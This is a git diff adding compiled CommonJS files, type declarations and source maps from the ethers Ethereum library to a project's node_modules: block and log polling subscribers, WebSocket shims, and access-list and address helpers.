+{"version":3,"file":"subscriber-polling.d.ts","sourceRoot":"","sources":["../../src.ts/providers/subscriber-polling.ts"],"names":[],"mapp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AG9C,QAAQ,EAAE,gBAAgB,EAAE,MAAM,EAAE,YAAY;IAKtD,KAAK,CAAC,WAAW,EAAE,MAAM,EAAE,QAAQ,EAAE,gBAAgB,GAAG,OAAO,CAAC,IAAI,CAAC;CAI9E;AAED;;;;;GAKG;AACH,qBAAa,4BAA6B,SAAQ,iBAAiB;;IAG/D;;;OAGG;gBACS,QAAQ,EAAE,gBAAgB,EAAE,IAAI,EAAE,MAAM;IAK9C,KAAK,CAAC,WAAW,EAAE,MAAM,EAAE,QAAQ,EAAE,gBAAgB,GAAG,OAAO,CAAC,IAAI,CAAC;CAI9E;AAED;;;;GAIG;AACH,qBAAa,sBAAuB,YAAW,UAAU;;IAWrD;;;OAGG;gBACS,QAAQ,EAAE,gBAAgB,EAAE,MAAM,EAAE,WAAW;IAqC3D,KAAK,IAAI,IAAI;IAYb,IAAI,IAAI,IAAI;IAOZ,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAKtC,MAAM,IAAI,IAAI;CAGjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-polling.js b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.js new file mode 100644 index 000000000000..2a390d41987b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.js @@ -0,0 +1,303 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.PollingEventSubscriber = exports.PollingTransactionSubscriber = exports.PollingOrphanSubscriber = exports.PollingBlockTagSubscriber = exports.OnBlockSubscriber = exports.PollingBlockSubscriber = exports.getPollingSubscriber = void 0; +const index_js_1 = require("../utils/index.js"); +function copy(obj) { + return JSON.parse(JSON.stringify(obj)); +} +/** + * Return the polling subscriber for common events. + * + * @_docloc: api/providers/abstract-provider + */ +function getPollingSubscriber(provider, event) { + if (event === "block") { + return new PollingBlockSubscriber(provider); + } + if ((0, index_js_1.isHexString)(event, 32)) { + return new PollingTransactionSubscriber(provider, event); + } + (0, index_js_1.assert)(false, "unsupported polling event", "UNSUPPORTED_OPERATION", { + operation: "getPollingSubscriber", info: { event } + }); +} +exports.getPollingSubscriber = getPollingSubscriber; +// @TODO: refactor this +/** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ +class PollingBlockSubscriber { + #provider; + #poller; + #interval; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#poller = null; + this.#interval = 4000; + this.#blockNumber = -2; + } + /** + * The polling interval. + */ + get pollingInterval() { return this.#interval; } + set pollingInterval(value) { this.#interval = value; } + async #poll() { + try { + const blockNumber = await this.#provider.getBlockNumber(); + // Bootstrap poll to setup our initial block number + if (this.#blockNumber === -2) { + this.#blockNumber = blockNumber; + return; + } + // @TODO: Put a cap on the maximum number of events per loop? + if (blockNumber !== this.#blockNumber) { + for (let b = this.#blockNumber + 1; b <= blockNumber; b++) { + // We have been stopped + if (this.#poller == null) { + return; + } + await this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + } + } + catch (error) { + // @TODO: Minor bump, add an "error" event to let subscribers + // know things went awry. + //console.log(error); + } + // We have been stopped + if (this.#poller == null) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + } + start() { + if (this.#poller) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + this.#poll(); + } + stop() { + if (!this.#poller) { + return; + } + this.#provider._clearTimeout(this.#poller); + this.#poller = null; + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } +} +exports.PollingBlockSubscriber = PollingBlockSubscriber; +/** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ +class OnBlockSubscriber { + #provider; + #poll; + #running; + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#running = false; + this.#poll = (blockNumber) => { + this._poll(blockNumber, this.#provider); + }; + } + /** + * Called on every new block. + */ + async _poll(blockNumber, provider) { + throw new Error("sub-classes must override this"); + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + this.#provider.on("block", this.#poll); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poll); + } + pause(dropWhilePaused) { this.stop(); } + resume() { this.start(); } +} +exports.OnBlockSubscriber = OnBlockSubscriber; +class PollingBlockTagSubscriber extends OnBlockSubscriber { + #tag; + #lastBlock; + constructor(provider, tag) { + super(provider); + this.#tag = tag; + this.#lastBlock = -2; + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#lastBlock = -2; + } + super.pause(dropWhilePaused); + } + async _poll(blockNumber, provider) { + const block = await provider.getBlock(this.#tag); + if (block == null) { + return; + } + if (this.#lastBlock === -2) { + this.#lastBlock = block.number; + } + else if (block.number > this.#lastBlock) { + provider.emit(this.#tag, block.number); + this.#lastBlock = block.number; + } + } +} +exports.PollingBlockTagSubscriber = PollingBlockTagSubscriber; +/** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ +class PollingOrphanSubscriber extends OnBlockSubscriber { + #filter; + constructor(provider, filter) { + super(provider); + this.#filter = copy(filter); + } + async _poll(blockNumber, provider) { + throw new Error("@TODO"); + console.log(this.#filter); + } +} +exports.PollingOrphanSubscriber = PollingOrphanSubscriber; +/** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ +class PollingTransactionSubscriber extends OnBlockSubscriber { + #hash; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%hash%%. + */ + constructor(provider, hash) { + super(provider); + this.#hash = hash; + } + async _poll(blockNumber, provider) { + const tx = await provider.getTransactionReceipt(this.#hash); + if (tx) { + provider.emit(this.#hash, tx); + } + } +} +exports.PollingTransactionSubscriber = PollingTransactionSubscriber; +/** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ +class PollingEventSubscriber { + #provider; + #filter; + #poller; + #running; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = copy(filter); + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#blockNumber = -2; + } + async #poll(blockNumber) { + // The initial block hasn't been determined yet + if (this.#blockNumber === -2) { + return; + } + const filter = copy(this.#filter); + filter.fromBlock = this.#blockNumber + 1; + filter.toBlock = blockNumber; + const logs = await this.#provider.getLogs(filter); + // No logs could just mean the node has not indexed them yet, + // so we keep a sliding window of 60 blocks to keep scanning + if (logs.length === 0) { + if (this.#blockNumber < blockNumber - 60) { + this.#blockNumber = blockNumber - 60; + } + return; + } + for (const log of logs) { + this.#provider.emit(this.#filter, log); + // Only advance the block number when logs were found to + // account for networks (like BNB and Polygon) which may + // sacrifice event consistency for block event speed + this.#blockNumber = log.blockNumber; + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + if (this.#blockNumber === -2) { + this.#provider.getBlockNumber().then((blockNumber) => { + this.#blockNumber = blockNumber; + }); + } + this.#provider.on("block", this.#poller); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } +} +exports.PollingEventSubscriber = PollingEventSubscriber; +//# sourceMappingURL=subscriber-polling.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/subscriber-polling.js.map b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.js.map new file mode 100644 index 000000000000..a41a0c550ec1 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/subscriber-polling.js.map @@ -0,0 +1 @@ +{"version":3,"file":"subscriber-polling.js","sourceRoot":"","sources":["../../src.ts/providers/subscriber-polling.ts"],"names":[],"mappings":";;;AAAA,gDAAwD;AAKxD,SAAS,IAAI,CAAC,GAAQ;IAClB,OAAO,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,CAAC,CAAC;AAC3C,CAAC;AAED;;;;GAIG;AACH,SAAgB,oBAAoB,CAAC,QAA0B,EAAE,KAAoB;IACjF,IAAI,KAAK,KAAK,OAAO,EAAE;QAAE,OAAO,IAAI,sBAAsB,CAAC,QAAQ,CAAC,CAAC;KAAE;IACvE,IAAI,IAAA,sBAAW,EAAC,KAAK,EAAE,EAAE,CAAC,EAAE;QAAE,OAAO,IAAI,4BAA4B,CAAC,QAAQ,EAAE,KAAK,CAAC,CAAC;KAAE;IAEzF,IAAA,iBAAM,EAAC,KAAK,EAAE,2BAA2B,EAAE,uBAAuB,EAAE;QAChE,SAAS,EAAE,sBAAsB,EAAE,IAAI,EAAE,EAAE,KAAK,EAAE;KACrD,CAAC,CAAC;AACP,CAAC;AAPD,oDAOC;AAED,uBAAuB;AAEvB;;;;;GAKG;AACH,MAAa,sBAAsB;IAC/B,SAAS,CAAmB;IAC5B,OAAO,CAAgB;IAEvB,SAAS,CAAS;IAElB,iEAAiE;IACjE,2DAA2D;IAC3D,YAAY,CAAS;IAErB;;OAEG;IACH,YAAY,QAA0B;QAClC,IAAI,CAAC,SAAS,GAAG,QAAQ,CAAC;QAC1B,IAAI,CAAC,OAAO,GAAG,IAAI,CAAC;QACpB,IAAI,CAAC,SAAS,GAAG,IAAI,CAAC;QAEtB,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAC;IAC3B,CAAC;IAED;;OAEG;IACH,IAAI,eAAe,KAAa,OAAO,IAAI,CAAC,SAAS,CAAC,CAAC,CAAC;IACxD,IAAI,eAAe,CAAC,KAAa,IAAI,IAAI,CAAC,SAAS,GAAG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CAAC,SAAS,CAAC,cAAc,EAAE,CAAC,IAAI,CAAC,CAAC,WAAW,EAAE,EAAE;gBACjD,IAAI,CAAC,YAAY,GAAG,WAAW,CAAC;YACpC,CAAC,CAAC,CAAC;SACN;QACD,IAAI,CAAC,SAAS,CAAC,EAAE,CAAC,OAAO,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;IAC7C,CAAC;IAED,IAAI;QACA,IAAI,CAAC,IAAI,CAAC,QAAQ,EAAE;YAAE,OAAO;SAAE;QAC/B,IAAI,CAAC,QAAQ,GAAG,KAAK,CAAC;QAEtB,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,OAAO,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;IAC9C,CAAC;IAED,KAAK,CAAC,eAAyB;QAC3B,IAAI,CAAC,IAAI,EAAE,CAAC;QACZ,IAAI,eAAe,EAAE;YAAE,IAAI,CAAC,YAAY,GAAG,CAAC,CAAC,CAAC;SAAE;IACpD,CAAC;IAED,MAAM;QACF,IAAI,CAAC,KAAK,EAAE,CAAC;IACjB,CAAC;CACJ;AA/ED,wDA+EC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws-browser.d.ts b/node_modules/ethers/lib.commonjs/providers/ws-browser.d.ts new file mode 100644 index 000000000000..d92720422655 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws-browser.d.ts @@ -0,0 +1,3 @@ +declare const _WebSocket: any; +export { _WebSocket as WebSocket }; +//# sourceMappingURL=ws-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws-browser.d.ts.map b/node_modules/ethers/lib.commonjs/providers/ws-browser.d.ts.map new file mode 100644 index 000000000000..f549c4b0cfa2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ws-browser.d.ts","sourceRoot":"","sources":["../../src.ts/providers/ws-browser.ts"],"names":[],"mappings":"AAQA,QAAA,MAAM,UAAU,KAAwB,CAAC;AAEzC,OAAO,EAAE,UAAU,IAAI,SAAS,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws-browser.js b/node_modules/ethers/lib.commonjs/providers/ws-browser.js new file mode 100644 index 000000000000..44b43a07dd35 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws-browser.js @@ -0,0 +1,19 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.WebSocket = void 0; +function getGlobal() { + if (typeof self !== 'undefined') { + return self; + } + if (typeof window !== 'undefined') { + return window; + } + if (typeof global !== 'undefined') { + return global; + } + throw new Error('unable to locate global object'); +} +; +const _WebSocket = getGlobal().WebSocket; +exports.WebSocket = _WebSocket; +//# sourceMappingURL=ws-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws-browser.js.map b/node_modules/ethers/lib.commonjs/providers/ws-browser.js.map new file mode 100644 index 000000000000..a6800e42e1c0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ws-browser.js","sourceRoot":"","sources":["../../src.ts/providers/ws-browser.ts"],"names":[],"mappings":";;;AACA,SAAS,SAAS;IAChB,IAAI,OAAO,IAAI,KAAK,WAAW,EAAE;QAAE,OAAO,IAAI,CAAC;KAAE;IACjD,IAAI,OAAO,MAAM,KAAK,WAAW,EAAE;QAAE,OAAO,MAAM,CAAC;KAAE;IACrD,IAAI,OAAO,MAAM,KAAK,WAAW,EAAE;QAAE,OAAO,MAAM,CAAC;KAAE;IACrD,MAAM,IAAI,KAAK,CAAC,gCAAgC,CAAC,CAAC;AACpD,CAAC;AAAA,CAAC;AAEF,MAAM,UAAU,GAAG,SAAS,EAAE,CAAC,SAAS,CAAC;AAElB,+BAAS"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws.d.ts b/node_modules/ethers/lib.commonjs/providers/ws.d.ts new file mode 100644 index 000000000000..75d53b7d4d9d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws.d.ts @@ -0,0 +1,2 @@ +export { WebSocket } from "ws"; +//# sourceMappingURL=ws.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws.d.ts.map b/node_modules/ethers/lib.commonjs/providers/ws.d.ts.map new file mode 100644 index 000000000000..c424f8d822b8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ws.d.ts","sourceRoot":"","sources":["../../src.ts/providers/ws.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,IAAI,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws.js b/node_modules/ethers/lib.commonjs/providers/ws.js new file mode 100644 index 000000000000..c06b358081d9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws.js @@ -0,0 +1,6 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.WebSocket = void 0; +var ws_1 = require("ws"); +Object.defineProperty(exports, "WebSocket", { enumerable: true, get: function () { return ws_1.WebSocket; } }); +//# sourceMappingURL=ws.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ws.js.map b/node_modules/ethers/lib.commonjs/providers/ws.js.map new file mode 100644 index 000000000000..15568f152aa5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ws.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ws.js","sourceRoot":"","sources":["../../src.ts/providers/ws.ts"],"names":[],"mappings":";;;AAAA,yBAA+B;AAAtB,+FAAA,SAAS,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/accesslist.d.ts b/node_modules/ethers/lib.commonjs/transaction/accesslist.d.ts new file mode 100644 index 000000000000..e30ac1c49742 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/accesslist.d.ts @@ -0,0 +1,6 @@ +import type { AccessList, AccessListish } from "./index.js"; +/** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ +export declare function accessListify(value: AccessListish): AccessList; +//# sourceMappingURL=accesslist.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/accesslist.d.ts.map b/node_modules/ethers/lib.commonjs/transaction/accesslist.d.ts.map new file mode 100644 index 000000000000..6516681ec325 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/accesslist.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"accesslist.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/accesslist.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,UAAU,EAAE,aAAa,EAAE,MAAM,YAAY,CAAC;AAa5D;;GAEG;AACH,wBAAgB,aAAa,CAAC,KAAK,EAAE,aAAa,GAAG,UAAU,CAuB9D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/accesslist.js b/node_modules/ethers/lib.commonjs/transaction/accesslist.js new file mode 100644 index 000000000000..77cf1718f132 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/accesslist.js @@ -0,0 +1,41 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.accessListify = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../utils/index.js"); +function accessSetify(addr, storageKeys) { + return { + address: (0, index_js_1.getAddress)(addr), + storageKeys: storageKeys.map((storageKey, index) => { + (0, index_js_2.assertArgument)((0, index_js_2.isHexString)(storageKey, 32), "invalid slot", `storageKeys[${index}]`, storageKey); + return storageKey.toLowerCase(); + }) + }; +} +/** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ +function accessListify(value) { + if (Array.isArray(value)) { + return value.map((set, index) => { + if (Array.isArray(set)) { + (0, index_js_2.assertArgument)(set.length === 2, "invalid slot set", `value[${index}]`, set); + return accessSetify(set[0], set[1]); + } + (0, index_js_2.assertArgument)(set != null && typeof (set) === "object", "invalid address-slot set", "value", value); + return accessSetify(set.address, set.storageKeys); + }); + } + (0, index_js_2.assertArgument)(value != null && typeof (value) === "object", "invalid access list", "value", value); + const result = Object.keys(value).map((addr) => { + const storageKeys = value[addr].reduce((accum, storageKey) => { + accum[storageKey] = true; + return accum; + }, {}); + return accessSetify(addr, Object.keys(storageKeys).sort()); + }); + result.sort((a, b) => (a.address.localeCompare(b.address))); + return result; +} +exports.accessListify = accessListify; +//# sourceMappingURL=accesslist.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/accesslist.js.map b/node_modules/ethers/lib.commonjs/transaction/accesslist.js.map new file mode 100644 index 000000000000..8047927db542 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/accesslist.js.map @@ -0,0 +1 @@ +{"version":3,"file":"accesslist.js","sourceRoot":"","sources":["../../src.ts/transaction/accesslist.ts"],"names":[],"mappings":";;;AAAA,kDAAiD;AACjD,gDAAgE;AAKhE,SAAS,YAAY,CAAC,IAAY,EAAE,WAA0B;IAC1D,OAAO;QACH,OAAO,EAAE,IAAA,qBAAU,EAAC,IAAI,CAAC;QACzB,WAAW,EAAE,WAAW,CAAC,GAAG,CAAC,CAAC,UAAU,EAAE,KAAK,EAAE,EAAE;YAC/C,IAAA,yBAAc,EAAC,IAAA,sBAAW,EAAC,UAAU,EAAE,EAAE,CAAC,EAAE,cAAc,EAAE,eAAgB,KAAM,GAAG,EAAE,UAAU,CAAC,CAAC;YACnG,OAAO,UAAU,CAAC,WAAW,EAAE,CAAC;QACpC,CAAC,CAAC;KACL,CAAC;AACN,CAAC;AAED;;GAEG;AACH,SAAgB,aAAa,CAAC,KAAoB;IAC9C,IAAI,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE;QACtB,OAA0F,KAAM,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,KAAK,EAAE,EAAE;YAChH,IAAI,KAAK,CAAC,OAAO,CAAC,GAAG,CAAC,EAAE;gBACpB,IAAA,yBAAc,EAAC,GAAG,C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ff --git a/node_modules/ethers/lib.commonjs/transaction/address.d.ts b/node_modules/ethers/lib.commonjs/transaction/address.d.ts new file mode 100644 index 000000000000..0b86944ff2e8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/address.d.ts @@ -0,0 +1,15 @@ +import { SigningKey } from "../crypto/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { BytesLike } from "../utils/index.js"; +/** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ +export declare function computeAddress(key: string | SigningKey): string; +/** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ +export declare function recoverAddress(digest: BytesLike, signature: SignatureLike): string; +//# sourceMappingURL=address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/address.d.ts.map b/node_modules/ethers/lib.commonjs/transaction/address.d.ts.map new file mode 100644 index 000000000000..83e6f0947da1 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/address.ts"],"names":[],"mappings":"AACA,OAAO,EAAa,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAE3D,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AACxD,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD;;;;GAIG;AACH,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,GAAG,UAAU,GAAG,MAAM,CAQ/D;AAED;;;GAGG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,aAAa,GAAG,MAAM,CAElF"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/address.js b/node_modules/ethers/lib.commonjs/transaction/address.js new file mode 100644 index 000000000000..429e457ab6ff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/address.js @@ -0,0 +1,30 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.recoverAddress = exports.computeAddress = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +/** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ +function computeAddress(key) { + let pubkey; + if (typeof (key) === "string") { + pubkey = index_js_2.SigningKey.computePublicKey(key, false); + } + else { + pubkey = key.publicKey; + } + return (0, index_js_1.getAddress)((0, index_js_2.keccak256)("0x" + pubkey.substring(4)).substring(26)); +} +exports.computeAddress = computeAddress; +/** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ +function recoverAddress(digest, signature) { + return computeAddress(index_js_2.SigningKey.recoverPublicKey(digest, signature)); +} +exports.recoverAddress = recoverAddress; +//# sourceMappingURL=address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/address.js.map b/node_modules/ethers/lib.commonjs/transaction/address.js.map new file mode 100644 index 000000000000..3cad7b021036 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"address.js","sourceRoot":"","sources":["../../src.ts/transaction/address.ts"],"names":[],"mappings":";;;AAAA,kDAAiD;AACjD,iDAA2D;AAK3D;;;;GAIG;AACH,SAAgB,cAAc,CAAC,GAAwB;IACnD,IAAI,MAAc,CAAC;IACnB,IAAI,OAAM,CAAC,GAAG,CAAC,KAAK,QAAQ,EAAE;QAC1B,MAAM,GAAG,qBAAU,CAAC,gBAAgB,CAAC,GAAG,EAAE,KAAK,CAAC,CAAC;KACpD;SAAM;QACH,MAAM,GAAG,GAAG,CAAC,SAAS,CAAC;KAC1B;IACD,OAAO,IAAA,qBAAU,EAAC,IAAA,oBAAS,EAAC,IAAI,GAAG,MAAM,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,EAAE,CAAC,CAAC,CAAC;AAC3E,CAAC;AARD,wCAQC;AAED;;;GAGG;AACH,SAAgB,cAAc,CAAC,MAAiB,EAAE,SAAwB;IACtE,OAAO,cAAc,CAAC,qBAAU,CAAC,gBAAgB,CAAC,MAAM,EAAE,SAAS,CAAC,CAAC,CAAC;AAC1E,CAAC;AAFD,wCAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/authorization.d.ts b/node_modules/ethers/lib.commonjs/transaction/authorization.d.ts new file mode 100644 index 000000000000..c9cc207d1745 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/authorization.d.ts @@ -0,0 +1,3 @@ +import type { Authorization, AuthorizationLike } from "./index.js"; +export declare function authorizationify(auth: AuthorizationLike): Authorization; +//# sourceMappingURL=authorization.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/authorization.d.ts.map b/node_modules/ethers/lib.commonjs/transaction/authorization.d.ts.map new file mode 100644 index 000000000000..6d90d17f4675 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/authorization.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/authorization.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,aAAa,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAEnE,wBAAgB,gBAAgB,CAAC,IAAI,EAAE,iBAAiB,GAAG,aAAa,CAOvE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/authorization.js b/node_modules/ethers/lib.commonjs/transaction/authorization.js new file mode 100644 index 000000000000..7d6d331f0e85 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/authorization.js @@ -0,0 +1,16 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.authorizationify = void 0; +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../utils/index.js"); +function authorizationify(auth) { + return { + address: (0, index_js_1.getAddress)(auth.address), + nonce: (0, index_js_3.getBigInt)((auth.nonce != null) ? auth.nonce : 0), + chainId: (0, index_js_3.getBigInt)((auth.chainId != null) ? auth.chainId : 0), + signature: index_js_2.Signature.from(auth.signature) + }; +} +exports.authorizationify = authorizationify; +//# sourceMappingURL=authorization.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/authorization.js.map b/node_modules/ethers/lib.commonjs/transaction/authorization.js.map new file mode 100644 index 000000000000..6242ee0d6920 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/authorization.js.map @@ -0,0 +1 @@ +{"version":3,"file":"authorization.js","sourceRoot":"","sources":["../../src.ts/transaction/authorization.ts"],"names":[],"mappings":";;;AAAA,kDAAiD;AACjD,iDAA+C;AAC/C,gDAA8C;AAI9C,SAAgB,gBAAgB,CAAC,IAAuB;IACpD,OAAO;QACH,OAAO,EAAE,IAAA,qBAAU,EAAC,IAAI,CAAC,OAAO,CAAC;QACjC,KAAK,EAAE,IAAA,oBAAS,EAAC,CAAC,IAAI,CAAC,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,CAAA,CAAC,CAAC,CAAC,CAAC;QACtD,OAAO,EAAE,IAAA,oBAAS,EAAC,CAAC,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,CAAA,CAAC,CAAC,IAAI,CAAC,OAAO,CAAA,CAAC,CAAC,CAAC,CAAC;QAC3D,SAAS,EAAE,oBAAS,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,CAAC;KAC5C,CAAC;AACN,CAAC;AAPD,4CAOC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/index.d.ts b/node_modules/ethers/lib.commonjs/transaction/index.d.ts new file mode 100644 index 000000000000..0a12b22897ff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/index.d.ts @@ -0,0 +1,40 @@ +/** + * Each state-changing operation on Ethereum requires a transaction. + * + * @_section api/transaction:Transactions [about-transactions] + */ +import type { BigNumberish } from "../utils/maths.js"; +import type { Signature, SignatureLike } from "../crypto/index.js"; +/** + * A single [[AccessList]] entry of storage keys (slots) for an address. + */ +export type AccessListEntry = { + address: string; + storageKeys: Array; +}; +/** + * An ordered collection of [[AccessList]] entries. + */ +export type AccessList = Array; +/** + * Any ethers-supported access list structure. + */ +export type AccessListish = AccessList | Array<[string, Array]> | Record>; +export interface Authorization { + address: string; + nonce: bigint; + chainId: bigint; + signature: Signature; +} +export type AuthorizationLike = { + address: string; + nonce: BigNumberish; + chainId: BigNumberish; + signature: SignatureLike; +}; +export { accessListify } from "./accesslist.js"; +export { authorizationify } from "./authorization.js"; +export { computeAddress, recoverAddress } from "./address.js"; +export { Transaction } from "./transaction.js"; +export type { Blob, BlobLike, KzgLibrary, KzgLibraryLike, TransactionLike } from "./transaction.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/index.d.ts.map b/node_modules/ethers/lib.commonjs/transaction/index.d.ts.map new file mode 100644 index 000000000000..c0bbe6662fe5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/index.d.ts.map @@ -0,0 +1 @@ 